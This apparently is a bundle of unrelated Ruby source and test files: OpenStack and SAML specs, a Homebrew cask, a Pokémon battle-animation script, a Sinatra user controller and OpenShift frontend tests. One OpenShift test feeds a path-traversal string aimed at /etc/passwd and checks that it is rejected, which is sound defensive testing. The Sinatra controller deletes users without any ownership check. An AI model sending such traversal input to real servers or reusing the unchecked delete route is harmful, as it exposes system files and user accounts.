response = service.post_remove_all_snapshots(vm.ems_ref)
service.process_task(response.body)
end
end
def vm_reconfigure(vm, options = {})
with_provider_connection do |service|
xml = service.get_vapp(vm.ems_ref, :parser => 'xml').body
response = service.post_reconfigure_vm(vm.ems_ref, xml, options[:spec])
service.process_task(response.body)
end
end
end
| 27.40625 | 104 | 0.574496 |
08dac5c5a51dbc84f44447d015ef5a6fee376ab9 | 2,479 | # encoding: UTF-8
require_relative 'spec_helper'
describe 'openstack-telemetry::identity_registration' do
describe 'ubuntu' do
let(:runner) { ChefSpec::SoloRunner.new(UBUNTU_OPTS) }
let(:node) { runner.node }
let(:chef_run) { runner.converge(described_recipe) }
include_context 'telemetry-stubs'
%w(telemetry telemetry-metric).each do |telemetry_service|
case telemetry_service
when 'telemetry'
service_name = 'ceilometer'
service_type = 'metering'
password = 'ceilometer-pass'
port = 8777
when 'telemetry-metric'
service_name = 'gnocchi'
service_type = 'metric'
password = 'gnocchi-pass'
port = 8041
end
connection_params = {
openstack_auth_url: 'http://127.0.0.1:5000/v3/auth/tokens',
openstack_username: 'admin',
openstack_api_key: 'admin-pass',
openstack_project_name: 'admin',
openstack_domain_name: 'default',
}
service_user = service_name
url = "http://127.0.0.1:#{port}"
region = 'RegionOne'
project_name = 'service'
role_name = 'admin'
domain_name = 'Default'
it "registers #{project_name} Project" do
expect(chef_run).to create_openstack_project(
project_name
).with(
connection_params: connection_params
)
end
it "registers #{service_name} service" do
expect(chef_run).to create_openstack_service(
service_name
).with(
connection_params: connection_params,
type: service_type
)
end
context "registers #{service_name} endpoint" do
%w(admin internal public).each do |interface|
it "#{interface} endpoint with default values" do
expect(chef_run).to create_openstack_endpoint(
service_type
).with(
service_name: service_name,
# interface: interface,
url: url,
region: region,
connection_params: connection_params
)
end
end
end
it 'registers service user' do
expect(chef_run).to create_openstack_user(
service_user
).with(
domain_name: domain_name,
project_name: project_name,
role_name: role_name,
password: password,
connection_params: connection_params
)
end
end
end
end
| 28.170455 | 67 | 0.598628 |
1ad74a3d47993df57d77f6b16b6352d89cd1b3d9 | 3,757 | # frozen_string_literal: true
RSpec.describe Saml::Kit::Bindings::UrlBuilder do
describe '#build' do
let(:xml) { '<xml></xml>' }
let(:destination) { FFaker::Internet.http_url }
let(:relay_state) { FFaker::Movie.title }
[
[Saml::Kit::AuthenticationRequest, 'SAMLRequest'],
[Saml::Kit::LogoutRequest, 'SAMLRequest'],
[Saml::Kit::Response, 'SAMLResponse'],
[Saml::Kit::LogoutResponse, 'SAMLResponse'],
].each do |(response_type, query_string_parameter)|
describe response_type.to_s do
subject { described_class.new(configuration: configuration) }
let(:configuration) do
Saml::Kit::Configuration.new do |config|
config.generate_key_pair_for(use: :signing)
end
end
let(:response) { instance_double(response_type, destination: destination, to_xml: xml, query_string_parameter: query_string_parameter) }
def to_query_params(url)
Hash[URI.parse(url).query.split('&').map { |x| x.split('=', 2) }]
end
it 'returns a url containing the target location' do
result_uri = URI.parse(subject.build(response))
expect(result_uri.scheme).to eql('http')
expect(result_uri.host).to eql(URI.parse(destination).host)
end
it 'includes the message deflated (without header and checksum), base64-encoded, and URL-encoded' do
result = subject.build(response, relay_state: relay_state)
query_params = to_query_params(result)
level = Zlib::BEST_COMPRESSION
expected = CGI.escape(Base64.encode64(Zlib::Deflate.deflate(xml, level)[2..-5]).delete("\n"))
expect(result).to include("#{query_string_parameter}=#{expected}")
expect(query_params[query_string_parameter]).to eql(expected)
end
it 'includes the relay state' do
result = subject.build(response, relay_state: relay_state)
query_params = to_query_params(result)
expect(query_params['RelayState']).to eql(CGI.escape(relay_state))
expect(result).to include("RelayState=#{CGI.escape(relay_state)}")
end
it 'excludes the relay state' do
query_params = to_query_params(subject.build(response))
expect(query_params['RelayState']).to be_nil
end
it 'includes a signature' do
result = subject.build(response, relay_state: relay_state)
query_params = to_query_params(result)
expect(query_params['SigAlg']).to eql(CGI.escape(::Xml::Kit::Namespaces::SHA256))
payload = "#{query_string_parameter}=#{query_params[query_string_parameter]}" \
"&RelayState=#{query_params['RelayState']}" \
"&SigAlg=#{query_params['SigAlg']}"
private_key = configuration.private_keys(use: :signing).last
expected_signature = Base64.strict_encode64(private_key.sign(OpenSSL::Digest::SHA256.new, payload))
expect(query_params['Signature']).to eql(expected_signature)
end
it 'generates the signature correctly when the relay state is absent' do
result = subject.build(response)
query_params = to_query_params(result)
expect(query_params['SigAlg']).to eql(CGI.escape(::Xml::Kit::Namespaces::SHA256))
payload = "#{query_string_parameter}=#{query_params[query_string_parameter]}" \
"&SigAlg=#{query_params['SigAlg']}"
private_key = configuration.private_keys(use: :signing).last
expected_signature = Base64.strict_encode64(private_key.sign(OpenSSL::Digest::SHA256.new, payload))
expect(query_params['Signature']).to eql(expected_signature)
end
end
end
end
end
| 44.2 | 144 | 0.65185 |
012be52ecdd29aacf126c319155e2161cc4befb5 | 827 | cask 'master-pdf-editor' do
version '5.3.16'
sha256 '8b36bff13d5a8ef8fafe16962de2c1c271e656a47693ff3de7f13e0f846a33c9'
url 'https://code-industry.net/public/MasterPDFEditor.dmg'
appcast 'https://code-industry.net/get-masterpdfeditor/'
name 'Master PDF Editor'
homepage 'https://code-industry.net/masterpdfeditor/'
auto_updates true
app 'Master PDF Editor.app'
zap trash: [
'~/Library/Application Support/Master PDF Editor',
'~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/net.code-industry.masterpdfeditor3.sfl*',
'~/Library/Preferences/net.code-industry.Master PDF Editor.plist',
'~/Library/Saved Application State/net.code-industry.MasterPDFEditor3.savedState',
]
end
| 39.380952 | 166 | 0.721886 |
0374f4cd35cc837cdbf6fe0750921db9d404f53f | 8,303 | #===============================================================================
# Legacy animation player compatibility
#===============================================================================
class PBAnimationPlayerX
#-----------------------------------------------------------------------------
# determine which battler and which type of focus to apply based on animation
#-----------------------------------------------------------------------------
def getFocus
return 1 if @frame < 0
pattern = 1
if (@frame&1) == 0
thisframe = @animation[@frame>>1]
# Set each cel sprite acoordingly
for i in 0...thisframe.length
cel = thisframe[i]; next if !cel
sprite = @animsprites[i]; next if !sprite
focus = cel[AnimFrame::FOCUS]
end
return [pattern, focus].max
end
return 1
end
#-----------------------------------------------------------------------------
end
#===============================================================================
# Fix zooming issues with legacy animations (back sprite)
#===============================================================================
alias pbSpriteSetAnimFrame_ebdx pbSpriteSetAnimFrame unless defined?(pbSpriteSetAnimFrame_ebdx)
def pbSpriteSetAnimFrame(sprite, frame, user = nil, target = nil, inEditor = false)
return if !sprite
pbSpriteSetAnimFrame_ebdx(sprite, frame, user, target, inEditor)
if !inEditor && sprite.respond_to?(:index) && sprite.index%2 == 0
sprite.zoom_x *= 2*@scene.vector.zoom2
sprite.zoom_y *= 2*@scene.vector.zoom2
end
end
#===============================================================================
# Legacy animation player core
#===============================================================================
class PokeBattle_Scene
attr_accessor :animationCount
#-----------------------------------------------------------------------------
# core animation processing for legacy animations
#-----------------------------------------------------------------------------
def pbAnimationCore(animation, user, target, oppMove = false)
return if !animation
@briefMessage = false
# store databox visibility
pbHideAllDataboxes
# get the battler sprites
userSprite = (user) ? @sprites["pokemon_#{user.index}"] : nil
targetSprite = (target) ? @sprites["pokemon_#{target.index}"] : nil
# Remember the original positions of Pokémon sprites
oldUserX = (userSprite) ? userSprite.x : 0
oldUserY = (userSprite) ? userSprite.y : 0
oldTargetX = (targetSprite) ? targetSprite.x : oldUserX
oldTargetY = (targetSprite) ? targetSprite.y : oldUserY
userSprite.legacy_anim = true if userSprite
targetSprite.legacy_anim = true if targetSprite
# Create the animation player
animPlayer = PBAnimationPlayerX.new(animation, user, target, self, oppMove)
# Apply a transformation to the animation based on where the user and target
# actually are. Get the centres of each sprite.
userHeight = (userSprite && userSprite.bitmap && !userSprite.bitmap.disposed?) ? userSprite.bitmap.height : 128
if targetSprite
targetHeight = (targetSprite.bitmap && !targetSprite.bitmap.disposed?) ? targetSprite.bitmap.height : 128
else
targetHeight = userHeight
end
animPlayer.setLineTransform(
PokeBattle_SceneConstants::FOCUSUSER_X, PokeBattle_SceneConstants::FOCUSUSER_Y,
PokeBattle_SceneConstants::FOCUSTARGET_X, PokeBattle_SceneConstants::FOCUSTARGET_Y,
oldUserX, oldUserY - userHeight/2,
oldTargetX, oldTargetY - targetHeight/2)
# Play the animation
@sprites["battlebg"].defocus
animPlayer.start; i = 0
loop do
# update necessary components
animPlayer.update
pbGraphicsUpdate
pbInputUpdate
animateScene
i += 1
clearMessageWindow if i == 16
# finish with the animation player
break if animPlayer.animDone?
end
animPlayer.dispose
@sprites["battlebg"].focus
# Return Pokémon sprites to their original positions
if userSprite
userSprite.x = oldUserX
userSprite.y = oldUserY
userSprite.pbSetOrigin
userSprite.legacy_anim = false
end
if targetSprite
targetSprite.x = oldTargetX
targetSprite.y = oldTargetY
targetSprite.pbSetOrigin
targetSprite.legacy_anim = false
end
# reset databox visibility
pbShowAllDataboxes
clearMessageWindow
end
#-----------------------------------------------------------------------------
# get choice details for moves
#-----------------------------------------------------------------------------
def pbGetMoveChoice(moveID, target = -1, idxMove = -1, specialUsage = true)
choice = []
choice[0] = :UseMove # "Use move"
choice[1] = idxMove # Index of move to be used in user's moveset
if idxMove >= 0
choice[2] = @moves[idxMove]
else
choice[2] = PokeBattle_Move.from_pokemon_move(@battle, Pokemon::Move.new(moveID)) # PokeBattle_Move object
choice[2].pp = -1
end
choice[3] = target # Target (-1 means no target yet)
return choice
end
#-----------------------------------------------------------------------------
# Main animation handling core
#-----------------------------------------------------------------------------
def pbAnimation(moveid, user, targets, hitnum = 0)
# for hitnum, 1 is the charging animation, 0 is the damage animation
return if !moveid
# move information
species = @battle.battlers[user.index].species
movedata = GameData::Move.get(moveid)
move = PokeBattle_Move.from_pokemon_move(@battle, Pokemon::Move.new(moveid))
numhits = user.thisMoveHits
multihit = !numhits.nil? ? (numhits > @animationCount) : false
@animationCount += 1
if numhits.nil?
@animationCount = 1
elsif @animationCount > numhits
@animationCount = 1
end
multitarget = false
multitarget = move.target if [:AllFoes, :AllNearFoes].include?(move.target)
target = (targets && targets.is_a?(Array)) ? targets[0] : targets
target = user if !target
# clears the current UI
pbHideAllDataboxes
# Substitute animation
if @sprites["pokemon_#{user.index}"] && @battle.battlescene
subbed = @sprites["pokemon_#{user.index}"].isSub
self.setSubstitute(user.index, false) if subbed
end
# gets move animation def name
handled = false
if @battle.battlescene
@sprites["battlebg"].defocus
# checks if def for specific move exists, and then plays it
handled = EliteBattle.playMoveAnimation(moveid, self, user.index, target.index, hitnum, multihit, species) if !handled
# in case people want to use the old animation player
if EliteBattle::CUSTOM_MOVE_ANIM && !handled
animid = pbFindMoveAnimation(moveid, user.index, hitnum)
if !animid
pbShowAllDataboxes
clearMessageWindow
return
end
anim = animid[0]
animations = EliteBattle.get(:moveAnimations)
name = GameData::Move.get(moveid).real_name
pbSaveShadows {
if animid[1] # On opposing side and using OppMove animation
pbAnimationCore(animations[anim], target, user, true)
else # On player's side, and/or using Move animation
pbAnimationCore(animations[anim], user, target, false)
end
}
handled = true
end
# decides which global move animation to play, if any
if !handled
handled = EliteBattle.mapMoveGlobal(self, move.type, user.index, target.index, hitnum, multihit, multitarget, movedata.category)
end
# if all above failed, plays the move animation for Tackle
if !handled
EliteBattle.playMoveAnimation(:TACKLE, self, user.index, target.index, 0, multihit)
end
@sprites["battlebg"].focus
end
# Change form to transformed version
if move.function == 0x69 && user && target # Transform
pbChangePokemon(user, target.pokemon)
end
# restores cleared UI
pbShowAllDataboxes
clearMessageWindow
self.afterAnim = true
end
#-----------------------------------------------------------------------------
end
| 41.515 | 136 | 0.576177 |
79466b3af272f114b74548e887c5011d20eba44e | 1,209 | class UsersController < ApplicationController
get '/signup' do
if !is_logged_in?
erb :'/users/sign_up'
else
redirect '/recipes'
end
end
post '/signup' do
if params[:user][:username] == "" || params[:user][:email] == "" || params[:user][:password] == ""
redirect '/signup'
else
user = User.create(params[:user])
session[:user_id] = user.id
redirect "/recipes"
end
end
get '/login' do
if is_logged_in?
redirect '/recipes'
else
erb :"/users/login"
end
end
post '/login' do
@user = User.find_by(username: params[:username])
if @user && @user.authenticate(params[:password])
session[:user_id] = @user.id
redirect '/recipes'
else
erb :"/users/failure"
end
end
get "/logout" do
session.clear
redirect "login"
end
get '/users/:slug' do
slug = params[:slug]
@user = User.find_by_slug(slug)
if current_user == @user
@recipes= @user.recipes
erb :"/users/show"
else
redirect "/login"
end
end
delete '/users/:slug/delete' do
@user = User.find_by_slug(params[:slug])
@user.destroy
redirect "/"
end
end
| 16.791667 | 102 | 0.578991 |
4ab134d946fb85c8fed85e6cf2057fe6afb8039f | 763 | # -*- encoding: utf-8 -*-
require File.expand_path('../lib/dtk-common-core/version', __FILE__)
Gem::Specification.new do |gem|
gem.authors = ["Rich PELAVIN"]
gem.email = ["[email protected]"]
gem.description = %q{DTK Common Core is a shared library used by several DTK components.}
gem.summary = %q{Common libraries used for DTK CLI client.}
gem.homepage = "https://github.com/rich-reactor8/dtk-common-repo"
gem.licenses = ["Apache-2.0"]
gem.files = `git ls-files`.split($\)
gem.test_files = gem.files.grep(%r{^(test|spec|features)/})
gem.name = "dtk-common-core"
gem.require_paths = ["lib"]
gem.version = DtkCommonCore::VERSION
gem.add_dependency 'rest-client', '~> 1.7.3'
end
| 38.15 | 93 | 0.634338 |
61b166a37e868f29955b03a417846e8ee9a9474b | 18,067 | #!/usr/bin/env oo-ruby
#--
# Copyright 2013 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#++
#
# Test the OpenShift frontend_httpd model
#
require_relative '../test_helper'
require 'fileutils'
class FrontendHttpServerModelTest < OpenShift::NodeTestCase
class FauxApacheDB < Hash
READER = 1
WRITER = 1
WRCREAT = 1
NEWDB = 1
end
def setup
@container_uuid = '0123456789abcdef'
@container_name = 'frontendtest'
@namespace = 'frontendtest'
@gear_base_dir = "/tmp/frontend_httpd_test"
@http_conf_dir = "/tmp/frontend_httpd_test/.httpd.d"
@cloud_domain = "example.com"
@fqdn = "#{@container_name}-#{@namespace}.#{@cloud_domain}"
Etc.stubs(:getpwnam).returns(
OpenStruct.new(
uid: 5005,
gid: 5005,
gecos: "OO application container",
dir: "#{@gear_base_dir}/#{@container_uuid}"
)
)
OpenShift::Runtime::Utils::Environ.stubs(:for_gear).with("#{@gear_base_dir}/#{@container_uuid}").returns(
{
"OPENSHIFT_APP_UUID" => @container_uuid,
"OPENSHIFT_APP_NAME" => @container_uuid,
"OPENSHIFT_GEAR_NAME"=> @container_name,
"OPENSHIFT_GEAR_DNS" => @fqdn
})
@ip = "127.0.0.1"
@port = 8080
@sts_max_age = 15768000
@test_alias = "foo.example.com"
@test_ssl_path = "#{@http_conf_dir}/#{@container_uuid}_#{@namespace}_#{@test_alias}"
@test_ssl_key_passphrase = "test passphrase"
@test_ssl_cert = "SSL Cert\n-----END\n"
@test_ssl_key = "SSL Key"
@test_ssl_key_decrypted = "SSL Key Decrypted"
syslog_mock = mock('Syslog') do
stubs(:opened?).returns(true)
stubs(:open).returns(nil)
stubs(:alert).returns(nil)
stubs(:debug).returns(nil)
end
Syslog.stubs(:new).returns(syslog_mock)
@config.stubs(:get).with("GEAR_BASE_DIR").returns(@gear_base_dir)
@config.stubs(:get).with("OPENSHIFT_HTTP_CONF_DIR").returns(@http_conf_dir)
@config.stubs(:get).with("CLOUD_DOMAIN").returns(@cloud_domain)
@apache_db_nodes = FauxApacheDB.new
@apache_db_nodes_full = { @fqdn => "#{@ip}:#{@port}" }
OpenShift::Runtime::ApacheDBNodes.stubs(:open).yields(@apache_db_nodes)
@apache_db_aliases = FauxApacheDB.new
@apache_db_aliases_full = { @test_alias => @fqdn }
OpenShift::Runtime::ApacheDBAliases.stubs(:open).yields(@apache_db_aliases)
@apache_db_idler = FauxApacheDB.new
@apache_db_idler_full = { @fqdn => @container_uuid }
OpenShift::Runtime::ApacheDBIdler.stubs(:open).yields(@apache_db_idler)
@apache_db_sts = FauxApacheDB.new
@apache_db_sts_full = { @fqdn => @sts_max_age }
OpenShift::Runtime::ApacheDBSTS.stubs(:open).yields(@apache_db_sts)
@gear_db = FauxApacheDB.new
@gear_db_full = {@container_uuid => {'fqdn' => @fqdn, 'container_name' => @container_name, 'namespace' => @namespace}}
OpenShift::Runtime::GearDB.stubs(:open).yields(@gear_db)
@nodejs_db_routes = FauxApacheDB.new
@nodejs_db_routes_full = {
@fqdn => {
"endpoints" => [ "#{@ip}:#{@port}" ],
"limits" => {
"connections" => 5,
"bandwidth" => 100
}
},
@test_alias => {
"endpoints" => [ "#{@ip}:#{@port}" ],
"alias" => @fqdn,
"limits" => {
"connections" => 5,
"bandwidth" => 100
}
}
}
OpenShift::Runtime::NodeJSDBRoutes.stubs(:open).yields(@nodejs_db_routes)
end
def set_dbs_empty
@apache_db_nodes.replace({})
@apache_db_aliases.replace({})
@apache_db_idler.replace({})
@apache_db_sts.replace({})
@nodejs_db_routes.replace({})
@gear_db.replace({})
end
def check_dbs_empty
assert @apache_db_nodes.empty?, "ApacheDBNodes not empty"
assert @apache_db_aliases.empty?, "ApacheDBAliases not empty"
assert @apache_db_idler.empty?, "ApacheDBIdler not empty"
assert @apache_db_sts.empty?, "ApacheDBSTS not empty"
assert @nodejs_db_routes.empty?, "NodeJSDBRoutes not empty"
assert @gear_db.empty?, "GearDB not empty"
end
def check_dbs_not_empty
assert (not @apache_db_nodes.empty?), "ApacheDBNodes empty"
assert (not @apache_db_aliases.empty?), "ApacheDBAliases empty"
assert (not @apache_db_idler.empty?), "ApacheDBIdler empty"
assert (not @apache_db_sts.empty?), "ApacheDBSTS empty"
assert (not @nodejs_db_routes.empty?), "NodeJSDBRoutes empty"
assert (not @gear_db.empty?), "GearDB empty"
end
def set_dbs_full
@apache_db_nodes.replace(@apache_db_nodes_full)
@apache_db_aliases.replace(@apache_db_aliases_full)
@apache_db_idler.replace(@apache_db_idler_full)
@apache_db_sts.replace(@apache_db_sts_full)
@nodejs_db_routes.replace(@nodejs_db_routes_full)
@gear_db.replace(@gear_db_full)
end
def check_dbs_full
assert_equal @apache_db_nodes_full, @apache_db_nodes, "ApacheDBNodes not properly set"
assert_equal @apache_db_aliases_full, @apache_db_aliases, "ApacheDBAliases not properly set"
assert_equal @apache_db_idler_full, @apache_db_idler, "ApacheDBIdler not properly set"
assert_equal @apache_db_sts_full, @apache_db_sts, "ApacheDBSTS not properly set"
assert_equal @nodejs_db_routes_full, @nodejs_db_routes, "NodeJSDBRoutes not properly set"
assert_equal @gear_db_full, @gear_db, "GearDB not properly set"
end
def test_clean_server_name
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
assert_equal "#{@test_alias}", frontend.clean_server_name("#{@test_alias}")
assert_equal "#{@test_alias}", frontend.clean_server_name("#{@test_alias}".upcase)
assert_raise OpenShift::Runtime::FrontendHttpServerNameException do
frontend.clean_server_name("../../../../../../../etc/passwd")
end
end
def test_create
set_dbs_empty
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
# Does nothing.
end
def test_create_initialized
set_dbs_full
t_environ = { 'OPENSHIFT_GEAR_NAME' => @container_name, 'OPENSHIFT_GEAR_DNS' => @fqdn }
OpenShift::Runtime::Utils::Environ.stubs(:for_gear).returns(t_environ).never
frontend = nil
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
assert_equal @container_name, frontend.container_name
assert_equal @namespace, frontend.namespace
end
def test_create_from_env
set_dbs_empty
t_environ = { 'OPENSHIFT_GEAR_NAME' => @container_name, 'OPENSHIFT_GEAR_DNS' => @fqdn }
OpenShift::Runtime::Utils::Environ.stubs(:for_gear).returns(t_environ).once
frontend = nil
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
assert_equal @container_name, frontend.container_name
assert_equal @namespace, frontend.namespace
end
def test_destroy
set_dbs_full
Dir.stubs(:glob).returns(["foo.conf"]).once
FileUtils.stubs(:rm_rf).once
OpenShift::Runtime::Utils.stubs(:oo_spawn).returns(["", "", 0]).once
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.destroy
check_dbs_empty
end
def test_connections
set_dbs_empty
connections = [ ["", "#{@ip}:#{@port}", { "websocket" => 1, "connections" => 1, "bandwidth" => 2 }],
["/nosocket", "#{@ip}:#{@port}",{}],
["/gone", "", { "gone" => 1 }],
["/forbidden", "", { "forbidden" => 1 }],
["/noproxy", "", { "noproxy" => 1 }],
["/redirect", "/dest", { "redirect" => 1 }],
["/file", "/dest.html", { "file" => 1 }],
["/tohttps", "/dest", { "tohttps" => 1 }] ]
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
frontend.connect(connections)
assert (not @gear_db.empty?), "GearDB empty"
assert (not @apache_db_nodes.empty?), "ApacheDBNodes empty"
assert (not @nodejs_db_routes.empty?), "NodeJSDBRoutes empty"
assert_equal "#{@ip}:#{@port}", @apache_db_nodes[@fqdn]
assert_equal "#{@ip}:#{@port}", @apache_db_nodes[@fqdn +"/nosocket"]
assert_equal "GONE", @apache_db_nodes[@fqdn +"/gone"]
assert_equal "FORBIDDEN", @apache_db_nodes[@fqdn +"/forbidden"]
assert_equal "NOPROXY", @apache_db_nodes[@fqdn +"/noproxy"]
assert_equal "REDIRECT:/dest", @apache_db_nodes[@fqdn +"/redirect"]
assert_equal "FILE:/dest.html", @apache_db_nodes[@fqdn +"/file"]
assert_equal "TOHTTPS:/dest", @apache_db_nodes[@fqdn +"/tohttps"]
assert_equal ["#{@ip}:#{@port}"], @nodejs_db_routes[@fqdn]["endpoints"]
assert_equal 1, @nodejs_db_routes[@fqdn]["limits"]["connections"]
assert_equal 2, @nodejs_db_routes[@fqdn]["limits"]["bandwidth"]
@apache_db_nodes["unrelated"]="1"
assert_equal connections, frontend.connections
@apache_db_nodes.delete("unrelated")
frontend.disconnect("", "/nosocket", "/gone", "/forbidden", "/noproxy", "/redirect", "/file", "/tohttps")
assert @apache_db_nodes.empty?
assert @nodejs_db_routes.empty?
end
def test_idle
set_dbs_empty
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
frontend.idle
assert_equal @container_uuid, @apache_db_idler[@fqdn]
assert frontend.idle?
frontend.unidle
assert @apache_db_idler.empty?
end
def test_sts
set_dbs_empty
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
frontend.sts(@sts_max_age)
assert_equal @sts_max_age, @apache_db_sts[@fqdn]
assert_equal @sts_max_age, frontend.get_sts
frontend.no_sts
assert @apache_db_sts.empty?
end
def test_aliases
set_dbs_empty
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
frontend.connect("", "#{@ip}:#{@port}", { "websocket" => 1})
frontend.add_alias("#{@test_alias}")
assert (not @apache_db_aliases.empty?)
assert (not @nodejs_db_routes.empty?)
assert (not @nodejs_db_routes[@test_alias].nil?)
assert_equal @fqdn, @apache_db_aliases[@test_alias]
assert_equal @nodejs_db_routes[@fqdn]["endpoints"], @nodejs_db_routes[@test_alias]["endpoints"]
assert_equal @nodejs_db_routes[@fqdn]["limits"], @nodejs_db_routes[@test_alias]["limits"]
assert_equal [@test_alias], frontend.aliases
frontend.remove_alias(@test_alias)
assert @apache_db_aliases.empty?
assert (not @nodejs_db_routes.has_key?(@test_alias))
end
def test_ssl_certs
set_dbs_empty
openssl_pkey = mock('OpenSSL::PKey')
openssl_pkey.stubs(:to_pem).returns(@test_ssl_key_decrypted)
openssl_pkey.stubs(:class).returns(OpenSSL::PKey::RSA)
OpenSSL::PKey.stubs(:read).returns(openssl_pkey)
openssl_cert = mock('OpenSSL::X509::Certificate')
openssl_cert.stubs(:to_pem).returns(@test_ssl_cert)
openssl_cert.stubs(:check_private_key).returns(true).then.returns(false)
OpenSSL::X509::Certificate.stubs(:new).returns(openssl_cert)
FileUtils.stubs(:mkdir_p).with(@test_ssl_path).once
File.stubs(:open).with("#{@test_ssl_path}/#{@test_alias}.crt", 'w').once
File.stubs(:open).with("#{@test_ssl_path}/#{@test_alias}.key", 'w').once
File.stubs(:open).with("#{@test_ssl_path}.conf", 'w').once
File.stubs(:read).with("#{@test_ssl_path}/#{@test_alias}.crt").returns(@test_ssl_cert).once
File.stubs(:read).with("#{@test_ssl_path}/#{@test_alias}.key").returns(@test_ssl_key_decrypted).once
File.stubs(:exists?).with("#{@test_ssl_path}.conf").returns(true).once
FileUtils.stubs(:rm_rf).with(@test_ssl_path).once
FileUtils.stubs(:rm_rf).with("#{@test_ssl_path}.conf").once
OpenShift::Runtime::Utils.stubs(:oo_spawn).returns(["", "", 0]).twice
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
frontend.connect("", "#{@ip}:#{@port}", { "websocket" => 1})
frontend.add_alias("#{@test_alias}")
frontend.add_ssl_cert(@test_ssl_cert, @test_ssl_key, @test_alias, @test_ssl_key_passphrase)
assert_equal [[@test_ssl_cert, @test_ssl_key_decrypted, @test_alias]], frontend.ssl_certs
frontend.remove_ssl_cert(@test_alias)
# check_private_key returns false
assert_raise OpenShift::Runtime::FrontendHttpServerException do
frontend.add_ssl_cert(@test_ssl_cert, @test_ssl_key, @test_alias)
end
# bad alias
assert_raise OpenShift::Runtime::FrontendHttpServerException do
frontend.add_ssl_cert(@test_ssl_cert, @test_ssl_key, @test_alias.reverse)
end
end
def test_serialization
set_dbs_empty
frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@container_uuid))
frontend.create
frontend.connect("", "#{@ip}:#{@port}", { "websocket" => 1})
frontend.add_alias("#{@test_alias}")
fehash = frontend.to_hash
set_dbs_empty
new_frontend = OpenShift::Runtime::FrontendHttpServer.json_create( { 'data' => fehash } )
assert_equal @container_uuid, new_frontend.container_uuid
assert_equal @container_name, new_frontend.container_name
assert_equal @namespace, new_frontend.namespace
assert @nodejs_db_routes.has_key?(@fqdn)
assert_equal ["#{@ip}:#{@port}"], @nodejs_db_routes[@fqdn]["endpoints"]
assert @gear_db.has_key?(@container_uuid)
assert @nodejs_db_routes.has_key?(@fqdn)
assert @nodejs_db_routes.has_key?(@test_alias)
assert (not @nodejs_db_routes[@fqdn].nil?)
assert_equal @nodejs_db_routes[@fqdn]["endpoints"], @nodejs_db_routes[@test_alias]["endpoints"]
assert_equal @nodejs_db_routes[@fqdn]["limits"], @nodejs_db_routes[@test_alias]["limits"]
assert_equal @fqdn, @nodejs_db_routes[@test_alias]["alias"]
end
end
class TestApacheDB < OpenShift::NodeTestCase
def setup
@mock_mutex = mock('Mutex') do
stubs(:lock)
stubs(:unlock)
stubs(:locked?).returns(true)
end
Mutex.stubs(:new).returns(@mock_mutex)
@gear_base_dir = "/tmp/apachedb_test"
@http_conf_dir = "/tmp/apachedb_test/.httpd.d"
@config.stubs(:get).with("GEAR_BASE_DIR").returns(@gear_base_dir)
@config.stubs(:get).with("OPENSHIFT_HTTP_CONF_DIR").returns(@http_conf_dir)
@apachedb_lockfiles = Hash[["nodes",
"aliases",
"idler",
"sts",
"routes" ].map { |k|
[k, "/var/run/openshift/ApacheDB.#{k}.txt.lock"]}]
@apachedb_lockfiles.update(Hash[["routes"].map { |k|
[k, "/var/run/openshift/ApacheDB.#{k}.json.lock"]}])
@apachedb_files = Hash[["nodes",
"aliases",
"idler",
"sts",
"routes" ].map { |k|
[k, File.join(@http_conf_dir,"#{k}.txt")]}]
@apachedb_files.update(Hash[["routes"].map { |k|
[k, File.join(@http_conf_dir,"#{k}.json")]}])
end
def test_node_fetch
lockfile_mock = mock('FileLockfile') do
stubs(:flock).with(File::LOCK_SH).once
stubs(:flock).with(File::LOCK_EX).never
stubs(:fcntl)
stubs(:closed?).returns(false)
stubs(:close).once
end
File.stubs(:new).with(@apachedb_lockfiles["nodes"], anything, anything).returns(lockfile_mock).once
readfile_mock = mock('FileRead') do
stubs(:each).yields("www.example.com 127.0.0.1:8080\n")
stubs(:write).never
end
File.stubs(:open).with(@apachedb_files["nodes"], Fcntl::O_RDONLY).yields(readfile_mock).once
File.stubs(:open).never
OpenShift::Runtime::ApacheDBNodes.stubs(:callout).never
dest = nil
OpenShift::Runtime::ApacheDBNodes.open(OpenShift::Runtime::ApacheDBNodes::READER) do |d|
dest = d.fetch("www.example.com")
end
assert_equal "127.0.0.1:8080", dest
end
def test_node_store
lockfile_mock = mock('FileLockfile') do
stubs(:flock).with(File::LOCK_SH).never
stubs(:flock).with(File::LOCK_EX).once
stubs(:fcntl)
stubs(:closed?).returns(false)
stubs(:close).once
end
File.stubs(:new).with(@apachedb_lockfiles["nodes"], anything, anything).returns(lockfile_mock).once
writefile_mock = mock('FileWrite') do
stubs(:write).with("www.example.com 127.0.0.1:8080\n").once
stubs(:fsync).once
end
File.stubs(:open).with(@apachedb_files["nodes"] + '-', anything, anything).yields(writefile_mock).once
